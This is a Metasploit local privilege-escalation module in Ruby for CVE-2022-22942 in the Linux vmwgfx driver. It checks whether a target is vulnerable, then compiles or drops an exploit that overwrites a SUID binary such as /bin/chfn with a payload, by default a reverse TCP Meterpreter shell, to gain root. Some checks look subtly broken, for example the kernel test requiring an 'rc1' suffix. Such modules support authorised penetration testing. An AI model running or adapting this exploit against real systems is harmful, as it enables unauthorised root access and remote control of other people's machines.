# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vmwgfx Driver File Descriptor Handling Priv Esc',
        'Description' => %q{
          If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
          recover by deallocating the (already populated) file descriptor. This is
          wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
          as the fd table slot was already populated via the previous call to
          fd_install(). This leaves userland with a valid fd table entry pointing to
          a free'd 'file' object.

          We use this bug to overwrite a SUID binary with our payload and gain root.
          Linux kernel 4.14 - 5.16.x are vulnerable.

          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Mathias Krause' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
          [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
          [ 'CVE', '2022-22942' ]
        ],
        'DisclosureDate' => '2022-01-28',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'PrependFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_OS_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          # seeing "BUG: Bad page cache in process <process> pfn:<5 characters>" on console
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    # Check the kernel version to see if its in a vulnerable range
    release = kernel_rex_release

    return CheckCode::Unknown('Could not determine kernel release') if release.nil?

    unless release[:distro_suffix] == 'rc1' && release[:upstream] >= Rex::Version.new('4.14') && release[:upstream] < Rex::Version.new('5.17')
      return CheckCode::Safe("Kernel version #{release} is not vulnerable")
    end

    vprint_good "Kernel version #{release} appears to be vulnerable"

    @driver = nil

    if writable?('/dev/dri/card0') # ubuntu, RHEL
      @driver = '/dev/dri/card0'
    elsif writable?('/dev/dri/renderD128') # debian
      @driver = '/dev/dri/renderD128'
    else
      return CheckCode::Safe('Unable to write to /dev/dri/card0 or /dev/dri/renderD128')
    end
    vprint_good("#{@driver} found writable")

    @suid_target = nil
    if setuid?('/bin/chfn') # ubuntu
      @suid_target = '/bin/chfn'
    elsif writable?('/bin/chage') # RHEL/Centos
      @suid_target = '/bin/chage'
    else
      return CheckCode::Safe('/bin/chfn isn\'t SUID or /bin/chage not writable')
    end
    vprint_good("#{@suid_target} suid binary found")

    if kernel_modules&.include?('vmwgfx')
      return CheckCode::Appears('vmwgfx installed')
    end

    CheckCode::Safe('Vulnerable driver (vmwgfx) not found')
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # backup the suid binary before we overwrite it
    @suid_backup = read_file(@suid_target)
    path = store_loot(
      @suid_target,
      'application/octet-stream',
      rhost,
      @suid_backup,
      @suid_target
    )
    print_good("Original #{@suid_target} backed up to #{path}")
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

      c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
      c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
      c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
      c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload

      upload_and_compile executable_path, strip_comments(c_code)
      register_files_for_cleanup(executable_path)
    else
      unless @suid_target == '/bin/chfn'
        fail_with(Failure::BadConfig, 'Pre-compiled is only valid against Ubuntu based systems')
      end
      vprint_status 'Dropping pre-compiled exploit on system...'
      payload_path = '/tmp/.aYd3GAMlK'
      upload_and_chmodx executable_path, exploit_data('CVE-2022-22942', 'pre_compiled')
    end

    # Upload payload executable
    print_status("Uploading payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup(generate_payload_exe)

    print_status 'Launching exploit...'
    output = cmd_exec executable_path, nil, 30
    output.each_line { |line| vprint_status line.chomp }
  end

  def cleanup
    if @suid_backup.nil?
      print_bad("MANUAL replacement of trojaned #{@suid_target} is required.")
    else
      print_status("Replacing trojaned #{@suid_target} with original")
      write_file(@suid_target, @suid_backup)
    end
    super
  end
end
